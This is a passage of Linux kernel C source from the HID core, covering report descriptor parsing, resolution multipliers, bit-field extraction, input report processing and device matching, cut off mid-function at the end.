EXPORT_SYMBOL_GPL(hid_parse_report);
static const char * const hid_report_names[] = {
"HID_INPUT_REPORT",
"HID_OUTPUT_REPORT",
"HID_FEATURE_REPORT",
};
/**
* hid_validate_values - validate existing device report's value indexes
*
* @hid: hid device
* @type: which report type to examine
* @id: which report ID to examine (0 for first)
* @field_index: which report field to examine
* @report_counts: expected number of values
*
* Validate the number of values in a given field of a given report, after
* parsing.
*/
struct hid_report *hid_validate_values(struct hid_device *hid,
enum hid_report_type type, unsigned int id,
unsigned int field_index,
unsigned int report_counts)
{
struct hid_report *report;
if (type > HID_FEATURE_REPORT) {
hid_err(hid, "invalid HID report type %u\n", type);
return NULL;
}
if (id >= HID_MAX_IDS) {
hid_err(hid, "invalid HID report id %u\n", id);
return NULL;
}
/*
* Explicitly not using hid_get_report() here since it depends on
* ->numbered being checked, which may not always be the case when
* drivers go to access report values.
*/
if (id == 0) {
/*
* Validating on id 0 means we should examine the first
* report in the list.
*/
report = list_first_entry_or_null(
&hid->report_enum[type].report_list,
struct hid_report, list);
} else {
report = hid->report_enum[type].report_id_hash[id];
}
if (!report) {
hid_err(hid, "missing %s %u\n", hid_report_names[type], id);
return NULL;
}
if (report->maxfield <= field_index) {
hid_err(hid, "not enough fields in %s %u\n",
hid_report_names[type], id);
return NULL;
}
if (report->field[field_index]->report_count < report_counts) {
hid_err(hid, "not enough values in %s %u field %u\n",
hid_report_names[type], id, field_index);
return NULL;
}
return report;
}
EXPORT_SYMBOL_GPL(hid_validate_values);
static int hid_calculate_multiplier(struct hid_device *hid,
struct hid_field *multiplier)
{
int m;
__s32 v = *multiplier->value;
__s32 lmin = multiplier->logical_minimum;
__s32 lmax = multiplier->logical_maximum;
__s32 pmin = multiplier->physical_minimum;
__s32 pmax = multiplier->physical_maximum;
/*
* "Because OS implementations will generally divide the control's
* reported count by the Effective Resolution Multiplier, designers
* should take care not to establish a potential Effective
* Resolution Multiplier of zero."
* HID Usage Table, v1.12, Section 4.3.1, p31
*/
if (lmax - lmin == 0)
return 1;
/*
* Handling the unit exponent is left as an exercise to whoever
* finds a device where that exponent is not 0.
*/
m = ((v - lmin)/(lmax - lmin) * (pmax - pmin) + pmin);
if (unlikely(multiplier->unit_exponent != 0)) {
hid_warn(hid,
"unsupported Resolution Multiplier unit exponent %d\n",
multiplier->unit_exponent);
}
/* There are no devices with an effective multiplier > 255 */
if (unlikely(m == 0 || m > 255 || m < -255)) {
hid_warn(hid, "unsupported Resolution Multiplier %d\n", m);
m = 1;
}
return m;
}
static void hid_apply_multiplier_to_field(struct hid_device *hid,
struct hid_field *field,
struct hid_collection *multiplier_collection,
int effective_multiplier)
{
struct hid_collection *collection;
struct hid_usage *usage;
int i;
/*
* If multiplier_collection is NULL, the multiplier applies
* to all fields in the report.
* Otherwise, it is the Logical Collection the multiplier applies to
* but our field may be in a subcollection of that collection.
*/
for (i = 0; i < field->maxusage; i++) {
usage = &field->usage[i];
collection = &hid->collection[usage->collection_index];
while (collection->parent_idx != -1 &&
collection != multiplier_collection)
collection = &hid->collection[collection->parent_idx];
if (collection->parent_idx != -1 ||
multiplier_collection == NULL)
usage->resolution_multiplier = effective_multiplier;
}
}
static void hid_apply_multiplier(struct hid_device *hid,
struct hid_field *multiplier)
{
struct hid_report_enum *rep_enum;
struct hid_report *rep;
struct hid_field *field;
struct hid_collection *multiplier_collection;
int effective_multiplier;
int i;
/*
* "The Resolution Multiplier control must be contained in the same
* Logical Collection as the control(s) to which it is to be applied.
* If no Resolution Multiplier is defined, then the Resolution
* Multiplier defaults to 1. If more than one control exists in a
* Logical Collection, the Resolution Multiplier is associated with
* all controls in the collection. If no Logical Collection is
* defined, the Resolution Multiplier is associated with all
* controls in the report."
* HID Usage Table, v1.12, Section 4.3.1, p30
*
* Thus, search from the current collection upwards until we find a
* logical collection. Then search all fields for that same parent
* collection. Those are the fields the multiplier applies to.
*
* If we have more than one multiplier, it will overwrite the
* applicable fields later.
*/
multiplier_collection = &hid->collection[multiplier->usage->collection_index];
while (multiplier_collection->parent_idx != -1 &&
multiplier_collection->type != HID_COLLECTION_LOGICAL)
multiplier_collection = &hid->collection[multiplier_collection->parent_idx];
if (multiplier_collection->type != HID_COLLECTION_LOGICAL)
multiplier_collection = NULL;
effective_multiplier = hid_calculate_multiplier(hid, multiplier);
rep_enum = &hid->report_enum[HID_INPUT_REPORT];
list_for_each_entry(rep, &rep_enum->report_list, list) {
for (i = 0; i < rep->maxfield; i++) {
field = rep->field[i];
hid_apply_multiplier_to_field(hid, field,
multiplier_collection,
effective_multiplier);
}
}
}
/*
* hid_setup_resolution_multiplier - set up all resolution multipliers
*
* @device: hid device
*
* Search for all Resolution Multiplier Feature Reports and apply their
* value to all matching Input items. This only updates the internal struct
* fields.
*
* The Resolution Multiplier is applied by the hardware. If the multiplier
* is anything other than 1, the hardware will send pre-multiplied events
* so that the same physical interaction generates an accumulated
* accumulated_value = value * * multiplier
* This may be achieved by sending
* - "value * multiplier" for each event, or
* - "value" but "multiplier" times as frequently, or
* - a combination of the above
* The only guarantee is that the same physical interaction always generates
* an accumulated 'value * multiplier'.
*
* This function must be called before any event processing and after
* any SetRequest to the Resolution Multiplier.
*/
void hid_setup_resolution_multiplier(struct hid_device *hid)
{
struct hid_report_enum *rep_enum;
struct hid_report *rep;
struct hid_usage *usage;
int i, j;
rep_enum = &hid->report_enum[HID_FEATURE_REPORT];
list_for_each_entry(rep, &rep_enum->report_list, list) {
for (i = 0; i < rep->maxfield; i++) {
/* Ignore if report count is out of bounds. */
if (rep->field[i]->report_count < 1)
continue;
for (j = 0; j < rep->field[i]->maxusage; j++) {
usage = &rep->field[i]->usage[j];
if (usage->hid == HID_GD_RESOLUTION_MULTIPLIER)
hid_apply_multiplier(hid,
rep->field[i]);
}
}
}
}
EXPORT_SYMBOL_GPL(hid_setup_resolution_multiplier);
static int hid_parse_collections(struct hid_device *device)
{
struct hid_item item;
const u8 *start = device->rdesc;
const u8 *end = start + device->rsize;
const u8 *next;
int ret;
static typeof(hid_parser_main) (* const dispatch_type[]) = {
hid_parser_main,
hid_parser_global,
hid_parser_local,
hid_parser_reserved
};
struct hid_parser *parser __free(kvfree) = vzalloc(sizeof(*parser));
if (!parser)
return -ENOMEM;
parser->device = device;
device->collection = kzalloc_objs(*device->collection,
HID_DEFAULT_NUM_COLLECTIONS);
if (!device->collection)
return -ENOMEM;
device->collection_size = HID_DEFAULT_NUM_COLLECTIONS;
for (unsigned int i = 0; i < HID_DEFAULT_NUM_COLLECTIONS; i++)
device->collection[i].parent_idx = -1;
ret = -EINVAL;
if (start == end) {
hid_err(device, "rejecting 0-sized report descriptor\n");
goto out;
}
while ((next = fetch_item(start, end, &item)) != NULL) {
start = next;
if (item.format != HID_ITEM_FORMAT_SHORT) {
hid_err(device, "unexpected long global item\n");
goto out;
}
if (dispatch_type[item.type](parser, &item)) {
hid_err(device, "item %u %u %u %u parsing failed\n",
item.format,
(unsigned int)item.size,
(unsigned int)item.type,
(unsigned int)item.tag);
goto out;
}
}
if (start != end) {
hid_err(device, "item fetching failed at offset %u/%u\n",
device->rsize - (unsigned int)(end - start),
device->rsize);
goto out;
}
if (parser->collection_stack_ptr) {
hid_err(device, "unbalanced collection at end of report description\n");
goto out;
}
if (parser->local.delimiter_depth) {
hid_err(device, "unbalanced delimiter at end of report description\n");
goto out;
}
/*
* fetch initial values in case the device's
* default multiplier isn't the recommended 1
*/
hid_setup_resolution_multiplier(device);
device->status |= HID_STAT_PARSED;
ret = 0;
out:
kfree(parser->collection_stack);
return ret;
}
/**
* hid_open_report - open a driver-specific device report
*
* @device: hid device
*
* Parse a report description into a hid_device structure. Reports are
* enumerated, fields are attached to these reports.
* 0 returned on success, otherwise nonzero error value.
*
* This function (or the equivalent hid_parse() macro) should only be
* called from probe() in drivers, before starting the device.
*/
int hid_open_report(struct hid_device *device)
{
unsigned int size;
const u8 *start;
int error;
if (WARN_ON(device->status & HID_STAT_PARSED))
return -EBUSY;
start = device->bpf_rdesc;
if (WARN_ON(!start))
return -ENODEV;
size = device->bpf_rsize;
if (device->driver->report_fixup) {
/*
* device->driver->report_fixup() needs to work
* on a copy of our report descriptor so it can
* change it.
*/
u8 *buf __free(kfree) = kmemdup(start, size, GFP_KERNEL);
if (!buf)
return -ENOMEM;
start = device->driver->report_fixup(device, buf, &size);
/*
* The second kmemdup is required in case report_fixup() returns
* a static read-only memory, but we have no idea if that memory
* needs to be cleaned up or not at the end.
*/
start = kmemdup(start, size, GFP_KERNEL);
if (!start)
return -ENOMEM;
}
device->rdesc = start;
device->rsize = size;
error = hid_parse_collections(device);
if (error) {
hid_close_report(device);
return error;
}
return 0;
}
EXPORT_SYMBOL_GPL(hid_open_report);
/*
* Extract/implement a data field from/to a little endian report (bit array).
*
* Code sort-of follows HID spec:
* http://www.usb.org/developers/hidpage/HID1_11.pdf
*
* While the USB HID spec allows unlimited length bit fields in "report
* descriptors", most devices never use more than 16 bits.
* One model of UPS is claimed to report "LINEV" as a 32-bit field.
* Search linux-kernel and linux-usb-devel archives for "hid-core extract".
*/
static u32 __extract(u8 *report, unsigned offset, int n)
{
unsigned int idx = offset / 8;
unsigned int bit_nr = 0;
unsigned int bit_shift = offset % 8;
int bits_to_copy = 8 - bit_shift;
u32 value = 0;
u32 mask = n < 32 ? (1U << n) - 1 : ~0U;
while (n > 0) {
value |= ((u32)report[idx] >> bit_shift) << bit_nr;
n -= bits_to_copy;
bit_nr += bits_to_copy;
bits_to_copy = 8;
bit_shift = 0;
idx++;
}
return value & mask;
}
u32 hid_field_extract(const struct hid_device *hid, u8 *report,
unsigned offset, unsigned n)
{
if (n > 32) {
hid_warn_once(hid, "%s() called with n (%d) > 32! (%s)\n",
__func__, n, current->comm);
n = 32;
}
return __extract(report, offset, n);
}
EXPORT_SYMBOL_GPL(hid_field_extract);
/*
* "implement" : set bits in a little endian bit stream.
* Same concepts as "extract" (see comments above).
* The data mangled in the bit stream remains in little endian
* order the whole time. It make more sense to talk about
* endianness of register values by considering a register
* a "cached" copy of the little endian bit stream.
*/
static void __implement(u8 *report, unsigned offset, int n, u32 value)
{
unsigned int idx = offset / 8;
unsigned int bit_shift = offset % 8;
int bits_to_set = 8 - bit_shift;
while (n - bits_to_set >= 0) {
report[idx] &= ~(0xff << bit_shift);
report[idx] |= value << bit_shift;
value >>= bits_to_set;
n -= bits_to_set;
bits_to_set = 8;
bit_shift = 0;
idx++;
}
/* last nibble */
if (n) {
u8 bit_mask = ((1U << n) - 1);
report[idx] &= ~(bit_mask << bit_shift);
report[idx] |= value << bit_shift;
}
}
static void implement(const struct hid_device *hid, u8 *report,
unsigned offset, unsigned n, u32 value)
{
if (unlikely(n > 32)) {
hid_warn(hid, "%s() called with n (%d) > 32! (%s)\n",
__func__, n, current->comm);
n = 32;
} else if (n < 32) {
u32 m = (1U << n) - 1;
if (unlikely(value > m)) {
hid_warn(hid,
"%s() called with too large value %d (n: %d)! (%s)\n",
__func__, value, n, current->comm);
value &= m;
}
}
__implement(report, offset, n, value);
}
/*
* Search an array for a value.
*/
static int search(__s32 *array, __s32 value, unsigned n)
{
while (n--) {
if (*array++ == value)
return 0;
}
return -1;
}
/**
* hid_match_report - check if driver's raw_event should be called
*
* @hid: hid device
* @report: hid report to match against
*
* compare hid->driver->report_table->report_type to report->type
*/
static int hid_match_report(struct hid_device *hid, struct hid_report *report)
{
const struct hid_report_id *id = hid->driver->report_table;
if (!id) /* NULL means all */
return 1;
for (; id->report_type != HID_TERMINATOR; id++)
if (id->report_type == HID_ANY_ID ||
id->report_type == report->type)
return 1;
return 0;
}
/**
* hid_match_usage - check if driver's event should be called
*
* @hid: hid device
* @usage: usage to match against
*
* compare hid->driver->usage_table->usage_{type,code} to
* usage->usage_{type,code}
*/
static int hid_match_usage(struct hid_device *hid, struct hid_usage *usage)
{
const struct hid_usage_id *id = hid->driver->usage_table;
if (!id) /* NULL means all */
return 1;
for (; id->usage_type != HID_ANY_ID - 1; id++)
if ((id->usage_hid == HID_ANY_ID ||
id->usage_hid == usage->hid) &&
(id->usage_type == HID_ANY_ID ||
id->usage_type == usage->type) &&
(id->usage_code == HID_ANY_ID ||
id->usage_code == usage->code))
return 1;
return 0;
}
static void hid_process_event(struct hid_device *hid, struct hid_field *field,
struct hid_usage *usage, __s32 value, int interrupt)
{
struct hid_driver *hdrv = hid->driver;
int ret;
if (!list_empty(&hid->debug_list))
hid_dump_input(hid, usage, value);
if (hdrv && hdrv->event && hid_match_usage(hid, usage)) {
ret = hdrv->event(hid, field, usage, value);
if (ret != 0) {
if (ret < 0)
hid_err(hid, "%s's event failed with %d\n",
hdrv->name, ret);
return;
}
}
if (hid->claimed & HID_CLAIMED_INPUT)
hidinput_hid_event(hid, field, usage, value);
if (hid->claimed & HID_CLAIMED_HIDDEV && interrupt && hid->hiddev_hid_event)
hid->hiddev_hid_event(hid, field, usage, value);
}
/*
* Checks if the given value is valid within this field
*/
static inline int hid_array_value_is_valid(struct hid_field *field,
__s32 value)
{
__s32 min = field->logical_minimum;
/*
* Value needs to be between logical min and max, and
* (value - min) is used as an index in the usage array.
* This array is of size field->maxusage
*/
return value >= min &&
value <= field->logical_maximum &&
value - min < field->maxusage;
}
/*
* Fetch the field from the data. The field content is stored for next
* report processing (we do differential reporting to the layer).
*/
static void hid_input_fetch_field(struct hid_device *hid,
struct hid_field *field,
__u8 *data)
{
unsigned n;
unsigned count = field->report_count;
unsigned offset = field->report_offset;
unsigned size = field->report_size;
__s32 min = field->logical_minimum;
__s32 *value;
value = field->new_value;
memset(value, 0, count * sizeof(__s32));
field->ignored = false;
for (n = 0; n < count; n++) {
value[n] = min < 0 ?
snto32(hid_field_extract(hid, data, offset + n * size,
size), size) :
hid_field_extract(hid, data, offset + n * size, size);
/* Ignore report if ErrorRollOver */
if (!(field->flags & HID_MAIN_ITEM_VARIABLE) &&
hid_array_value_is_valid(field, value[n]) &&
field->usage[value[n] - min].hid == HID_UP_KEYBOARD + 1) {
field->ignored = true;
return;
}
}
}
/*
* Process a received variable field.
*/
static void hid_input_var_field(struct hid_device *hid,
struct hid_field *field,
int interrupt)
{
unsigned int count = field->report_count;
__s32 *value = field->new_value;
unsigned int n;
for (n = 0; n < count; n++)
hid_process_event(hid,
field,
&field->usage[n],
value[n],
interrupt);
memcpy(field->value, value, count * sizeof(__s32));
}
/*
* Process a received array field. The field content is stored for
* next report processing (we do differential reporting to the layer).
*/
static void hid_input_array_field(struct hid_device *hid,
struct hid_field *field,
int interrupt)
{
unsigned int n;
unsigned int count = field->report_count;
__s32 min = field->logical_minimum;
__s32 *value;
value = field->new_value;
/* ErrorRollOver */
if (field->ignored)
return;
for (n = 0; n < count; n++) {
if (hid_array_value_is_valid(field, field->value[n]) &&
search(value, field->value[n], count))
hid_process_event(hid,
field,
&field->usage[field->value[n] - min],
0,
interrupt);
if (hid_array_value_is_valid(field, value[n]) &&
search(field->value, value[n], count))
hid_process_event(hid,
field,
&field->usage[value[n] - min],
1,
interrupt);
}
memcpy(field->value, value, count * sizeof(__s32));
}
/*
* Analyse a received report, and fetch the data from it. The field
* content is stored for next report processing (we do differential
* reporting to the layer).
*/
static void hid_process_report(struct hid_device *hid,
struct hid_report *report,
__u8 *data,
int interrupt)
{
unsigned int a;
struct hid_field_entry *entry;
struct hid_field *field;
/* first retrieve all incoming values in data */
for (a = 0; a < report->maxfield; a++)
hid_input_fetch_field(hid, report->field[a], data);
if (!list_empty(&report->field_entry_list)) {
/* INPUT_REPORT, we have a priority list of fields */
list_for_each_entry(entry,
&report->field_entry_list,
list) {
field = entry->field;
if (field->flags & HID_MAIN_ITEM_VARIABLE)
hid_process_event(hid,
field,
&field->usage[entry->index],
field->new_value[entry->index],
interrupt);
else
hid_input_array_field(hid, field, interrupt);
}
/* we need to do the memcpy at the end for var items */
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE)
memcpy(field->value, field->new_value,
field->report_count * sizeof(__s32));
}
} else {
/* FEATURE_REPORT, regular processing */
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE)
hid_input_var_field(hid, field, interrupt);
else
hid_input_array_field(hid, field, interrupt);
}
}
}
/*
* Insert a given usage_index in a field in the list
* of processed usages in the report.
*
* The elements of lower priority score are processed
* first.
*/
static void __hid_insert_field_entry(struct hid_device *hid,
struct hid_report *report,
struct hid_field_entry *entry,
struct hid_field *field,
unsigned int usage_index)
{
struct hid_field_entry *next;
entry->field = field;
entry->index = usage_index;
entry->priority = field->usages_priorities[usage_index];
/* insert the element at the correct position */
list_for_each_entry(next,
&report->field_entry_list,
list) {
/*
* the priority of our element is strictly higher
* than the next one, insert it before
*/
if (entry->priority > next->priority) {
list_add_tail(&entry->list, &next->list);
return;
}
}
/* lowest priority score: insert at the end */
list_add_tail(&entry->list, &report->field_entry_list);
}
static void hid_report_process_ordering(struct hid_device *hid,
struct hid_report *report)
{
struct hid_field *field;
struct hid_field_entry *entries;
unsigned int a, u, usages;
unsigned int count = 0;
/* count the number of individual fields in the report */
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE)
count += field->report_count;
else
count++;
}
/* allocate the memory to process the fields */
entries = kzalloc_objs(*entries, count);
if (!entries)
return;
report->field_entries = entries;
/*
* walk through all fields in the report and
* store them by priority order in report->field_entry_list
*
* - Var elements are individualized (field + usage_index)
* - Arrays are taken as one, we can not chose an order for them
*/
usages = 0;
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE) {
for (u = 0; u < field->report_count; u++) {
__hid_insert_field_entry(hid, report,
&entries[usages],
field, u);
usages++;
}
} else {
__hid_insert_field_entry(hid, report, &entries[usages],
field, 0);
usages++;
}
}
}
static void hid_process_ordering(struct hid_device *hid)
{
struct hid_report *report;
struct hid_report_enum *report_enum = &hid->report_enum[HID_INPUT_REPORT];
list_for_each_entry(report, &report_enum->report_list, list)
hid_report_process_ordering(hid, report);
}
/*
* Output the field into the report.
*/
static void hid_output_field(const struct hid_device *hid,
struct hid_field *field, __u8 *data)
{
unsigned count = field->report_count;
unsigned offset = field->report_offset;
unsigned size = field->report_size;
unsigned n;
for (n = 0; n < count; n++) {
if (field->logical_minimum < 0) /* signed values */
implement(hid, data, offset + n * size, size,
s32ton(field->value[n], size));
else /* unsigned values */
implement(hid, data, offset + n * size, size,
field->value[n]);
}
}
/*
* Compute the size of a report.
*/
static size_t hid_compute_report_size(struct hid_report *report)
{
if (report->size)
return ((report->size - 1) >> 3) + 1;
return 0;
}
/*
* Create a report. 'data' has to be allocated using
* hid_alloc_report_buf() so that it has proper size.
*/
void hid_output_report(struct hid_report *report, __u8 *data)
{
unsigned n;
if (report->id > 0)
*data++ = report->id;
memset(data, 0, hid_compute_report_size(report));
for (n = 0; n < report->maxfield; n++)
hid_output_field(report->device, report->field[n], data);
}
EXPORT_SYMBOL_GPL(hid_output_report);
/*
* Allocator for buffer that is going to be passed to hid_output_report()
*/
u8 *hid_alloc_report_buf(struct hid_report *report, gfp_t flags)
{
/*
* 7 extra bytes are necessary to achieve proper functionality
* of implement() working on 8 byte chunks
* 1 extra byte for the report ID if it is null (not used) so
* we can reserve that extra byte in the first position of the buffer
* when sending it to .raw_request()
*/
u32 len = hid_report_len(report) + 7 + (report->id == 0);
return kzalloc(len, flags);
}
EXPORT_SYMBOL_GPL(hid_alloc_report_buf);
/*
* Set a field value. The report this field belongs to has to be
* created and transferred to the device, to set this value in the
* device.
*/
int hid_set_field(struct hid_field *field, unsigned offset, __s32 value)
{
unsigned size;
if (!field)
return -1;
size = field->report_size;
hid_dump_input(field->report->device, field->usage + offset, value);
if (offset >= field->report_count) {
hid_err(field->report->device, "offset (%d) exceeds report_count (%d)\n",
offset, field->report_count);
return -1;
}
if (field->logical_minimum < 0) {
if (value != snto32(s32ton(value, size), size)) {
hid_err(field->report->device, "value %d is out of range\n", value);
return -1;
}
}
field->value[offset] = value;
return 0;
}
EXPORT_SYMBOL_GPL(hid_set_field);
struct hid_field *hid_find_field(struct hid_device *hdev, unsigned int report_type,
unsigned int application, unsigned int usage)
{
struct list_head *report_list = &hdev->report_enum[report_type].report_list;
struct hid_report *report;
int i, j;
list_for_each_entry(report, report_list, list) {
if (report->application != application)
continue;
for (i = 0; i < report->maxfield; i++) {
struct hid_field *field = report->field[i];
for (j = 0; j < field->maxusage; j++) {
if (field->usage[j].hid == usage)
return field;
}
}
}
return NULL;
}
EXPORT_SYMBOL_GPL(hid_find_field);
static struct hid_report *hid_get_report(struct hid_report_enum *report_enum,
const u8 *data)
{
struct hid_report *report;
unsigned int n = 0; /* Normally report number is 0 */
/* Device uses numbered reports, data[0] is report number */
if (report_enum->numbered)
n = *data;
report = report_enum->report_id_hash[n];
if (report == NULL)
dbg_hid("undefined report_id %u received\n", n);
return report;
}
/*
* Implement a generic .request() callback, using .raw_request()
* DO NOT USE in hid drivers directly, but through hid_hw_request instead.
*/
int __hid_request(struct hid_device *hid, struct hid_report *report,
enum hid_class_request reqtype)
{
u8 *data_buf;
int ret;
u32 len;
u8 *buf __free(kfree) = hid_alloc_report_buf(report, GFP_KERNEL);
if (!buf)
return -ENOMEM;
data_buf = buf;
len = hid_report_len(report);
if (report->id == 0) {
/* reserve the first byte for the report ID */
data_buf++;
len++;
}
if (reqtype == HID_REQ_SET_REPORT)
hid_output_report(report, data_buf);
ret = hid_hw_raw_request(hid, report->id, buf, len, report->type, reqtype);
if (ret < 0) {
dbg_hid("unable to complete request: %d\n", ret);
return ret;
}
if (reqtype == HID_REQ_GET_REPORT)
hid_input_report(hid, report->type, buf, ret, 0);
return 0;
}
EXPORT_SYMBOL_GPL(__hid_request);
int hid_report_raw_event(struct hid_device *hid, enum hid_report_type type, u8 *data,
size_t bufsize, u32 size, int interrupt)
{
struct hid_report_enum *report_enum = hid->report_enum + type;
struct hid_report *report;
struct hid_driver *hdrv;
int max_buffer_size = HID_MAX_BUFFER_SIZE;
u32 rsize, csize = size;
size_t bsize = bufsize;
u8 *cdata = data;
int ret = 0;
report = hid_get_report(report_enum, data);
if (!report)
return 0;
if (unlikely(bsize < csize)) {
hid_warn_ratelimited(hid, "Event data for report %d is incorrect (%d vs %ld)\n",
report->id, csize, bsize);
return -EINVAL;
}
if (report_enum->numbered) {
cdata++;
csize--;
bsize--;
}
rsize = hid_compute_report_size(report);
if (hid->ll_driver->max_buffer_size)
max_buffer_size = hid->ll_driver->max_buffer_size;
if (report_enum->numbered && rsize >= max_buffer_size)
rsize = max_buffer_size - 1;
else if (rsize > max_buffer_size)
rsize = max_buffer_size;
if (bsize < rsize) {
hid_warn_ratelimited(hid, "Event data for report %d was too short (%d vs %ld)\n",
report->id, rsize, bsize);
return -EINVAL;
}
if (csize < rsize) {
dbg_hid("report %d is too short, (%d < %d)\n", report->id,
csize, rsize);
memset(cdata + csize, 0, rsize - csize);
}
if ((hid->claimed & HID_CLAIMED_HIDDEV) && hid->hiddev_report_event)
hid->hiddev_report_event(hid, report);
if (hid->claimed & HID_CLAIMED_HIDRAW) {
ret = hidraw_report_event(hid, data, size);
if (ret)
return ret;
}
if (hid->claimed != HID_CLAIMED_HIDRAW && report->maxfield) {
hid_process_report(hid, report, cdata, interrupt);
hdrv = hid->driver;
if (hdrv && hdrv->report)
hdrv->report(hid, report);
}
if (hid->claimed & HID_CLAIMED_INPUT)
hidinput_report_event(hid, report);
return ret;
}
EXPORT_SYMBOL_GPL(hid_report_raw_event);
static int __hid_input_report(struct hid_device *hid, enum hid_report_type type,
u8 *data, size_t bufsize, u32 size, int interrupt, u64 source,
bool from_bpf, bool lock_already_taken)
{
struct hid_report_enum *report_enum;
struct hid_driver *hdrv;
struct hid_report *report;
int ret = 0;
if (!hid)
return -ENODEV;
ret = down_trylock(&hid->driver_input_lock);
if (lock_already_taken && !ret) {
up(&hid->driver_input_lock);
return -EINVAL;
} else if (!lock_already_taken && ret) {
return -EBUSY;
}
if (!hid->driver) {
ret = -ENODEV;
goto unlock;
}
report_enum = hid->report_enum + type;
hdrv = hid->driver;
data = dispatch_hid_bpf_device_event(hid, type, data, &bufsize, &size, interrupt,
source, from_bpf);
if (IS_ERR(data)) {
ret = PTR_ERR(data);
goto unlock;
}
if (!size) {
dbg_hid("empty report\n");
ret = -1;
goto unlock;
}
/* Avoid unnecessary overhead if debugfs is disabled */
if (!list_empty(&hid->debug_list))
hid_dump_report(hid, type, data, size);
report = hid_get_report(report_enum, data);
if (!report) {
ret = -1;
goto unlock;
}
if (hdrv && hdrv->raw_event && hid_match_report(hid, report)) {
ret = hdrv->raw_event(hid, report, data, size);
if (ret < 0)
goto unlock;
}
ret = hid_report_raw_event(hid, type, data, bufsize, size, interrupt);
unlock:
if (!lock_already_taken)
up(&hid->driver_input_lock);
return ret;
}
/**
* hid_input_report - report data from lower layer (usb, bt...)
*
* @hid: hid device
* @type: HID report type (HID_*_REPORT)
* @data: report contents
* @size: size of data parameter
* @interrupt: distinguish between interrupt and control transfers
*
* This is data entry for lower layers.
* Legacy, please use hid_safe_input_report() instead.
*/
int hid_input_report(struct hid_device *hid, enum hid_report_type type, u8 *data, u32 size,
int interrupt)
{
return __hid_input_report(hid, type, data, size, size, interrupt, 0,
false, /* from_bpf */
false /* lock_already_taken */);
}
EXPORT_SYMBOL_GPL(hid_input_report);
/**
* hid_safe_input_report - report data from lower layer (usb, bt...)
*
* @hid: hid device
* @type: HID report type (HID_*_REPORT)
* @data: report contents
* @bufsize: allocated size of the data buffer
* @size: useful size of data parameter
* @interrupt: distinguish between interrupt and control transfers
*
* This is data entry for lower layers.
* Please use this function instead of the non safe version because we provide
* here the size of the buffer, allowing hid-core to make smarter decisions
* regarding the incoming buffer.
*/
int hid_safe_input_report(struct hid_device *hid, enum hid_report_type type, u8 *data,
size_t bufsize, u32 size, int interrupt)
{
return __hid_input_report(hid, type, data, bufsize, size, interrupt, 0,
false, /* from_bpf */
false /* lock_already_taken */);
}
EXPORT_SYMBOL_GPL(hid_safe_input_report);
bool hid_match_one_id(const struct hid_device *hdev,
const struct hid_device_id *id)
{
return (id->bus == HID_BUS_ANY || id->bus == hdev->bus) &&
(id->group == HID_GROUP_ANY || id->group == hdev->group) &&
(id->vendor == HID_ANY_ID || id->vendor == hdev->vendor) &&
(id->product == HID_ANY_ID || id->product == hdev->product);
}
const struct hid_device_id *hid_match_id(const struct hid_device *hdev,
const struct hid_device_id *id)
{
for (; id->bus; id++)
if (hid_match_one_id(hdev, id))
return id;
return NULL;
}
EXPORT_SYMBOL_GPL(hid_match_id);
static const struct hid_device_id hid_hiddev_list[] = {
{ HID_USB_DEVICE(USB_VENDOR_ID_MGE, USB_DEVICE_ID_MGE_UPS) },
{ HID_USB_DEVICE(USB_VENDOR_ID_MGE, USB_DEVICE_ID_MGE_UPS1) },
{ }
};
static bool hid_hiddev(struct hid_device *hdev)
{
return !!hid_match_id(hdev, hid_hiddev_list);
}
static ssize_t
report_descriptor_read(struct file *filp, struct kobject *kobj,
const struct bin_attribute *attr,
char *buf, loff_t off, size_t count)
{
struct device *dev = kobj_to_dev(kobj);
struct hid_device *hdev = to_hid_device(dev);
if (off >= hdev->rsize)
return 0;
if (off + count > hdev->rsize)
count = hdev->rsize - off;
memcpy(buf, hdev->rdesc + off, count);
return count;
}
static ssize_t
country_show(struct device *dev, struct device_attribute *attr,
char *buf)
{
struct hid_device *hdev = to_hid_device(dev);
return sprintf(buf, "%02x\n", hdev->country & 0xff);
}
static const BIN_ATTR_RO(report_descriptor, HID_MAX_DESCRIPTOR_SIZE);
static const DEVICE_ATTR_RO(country);
int hid_connect(struct hid_device *hdev, unsigned int connect_mask)
{
static const char *types[] = { "Device", "Pointer", "Mouse", "Device",
"Joystick", "Gamepad", "Keyboard", "Keypad",
"Multi-Axis Controller"
};
const char *type, *bus;
char buf[64] = "";
unsigned int i;
int len;
int ret;
ret = hid_bpf_connect_device(hdev);
if (ret)
return ret;
if (hdev->quirks & HID_QUIRK_HIDDEV_FORCE)
connect_mask |= (HID_CONNECT_HIDDEV_FORCE | HID_CONNECT_HIDDEV);
if (hdev->quirks & HID_QUIRK_HIDINPUT_FORCE)
connect_mask |= HID_CONNECT_HIDINPUT_FORCE;
if (hdev->bus != BUS_USB)
connect_mask &= ~HID_CONNECT_HIDDEV;
if (hid_hiddev(hdev))
connect_mask |= HID_CONNECT_HIDDEV_FORCE;
if ((connect_mask & HID_CONNECT_HIDINPUT) && !hidinput_connect(hdev,
connect_mask & HID_CONNECT_HIDINPUT_FORCE))
hdev->claimed |= HID_CLAIMED_INPUT;
if ((connect_mask & HID_CONNECT_HIDDEV) && hdev->hiddev_connect &&
!hdev->hiddev_connect(hdev,
connect_mask & HID_CONNECT_HIDDEV_FORCE))
hdev->claimed |= HID_CLAIMED_HIDDEV;
if ((connect_mask & HID_CONNECT_HIDRAW) && !hidraw_connect(hdev))
hdev->claimed |= HID_CLAIMED_HIDRAW;
if (connect_mask & HID_CONNECT_DRIVER)
hdev->claimed |= HID_CLAIMED_DRIVER;
/* Drivers with the ->raw_event callback set are not required to connect
* to any other listener. */
if (!hdev->claimed && !hdev->driver->raw_event) {
hid_err(hdev, "device has no listeners, quitting\n");
return -ENODEV;
}
hid_process_ordering(hdev);
if ((hdev->claimed & HID_CLAIMED_INPUT) &&
(connect_mask & HID_CONNECT_FF) && hdev->ff_init)
hdev->ff_init(hdev);
len = 0;
if (hdev->claimed & HID_CLAIMED_INPUT)
len += sprintf(buf + len, "input");
if (hdev->claimed & HID_CLAIMED_HIDDEV)
len += sprintf(buf + len, "%shiddev%d", len ? "," : "",
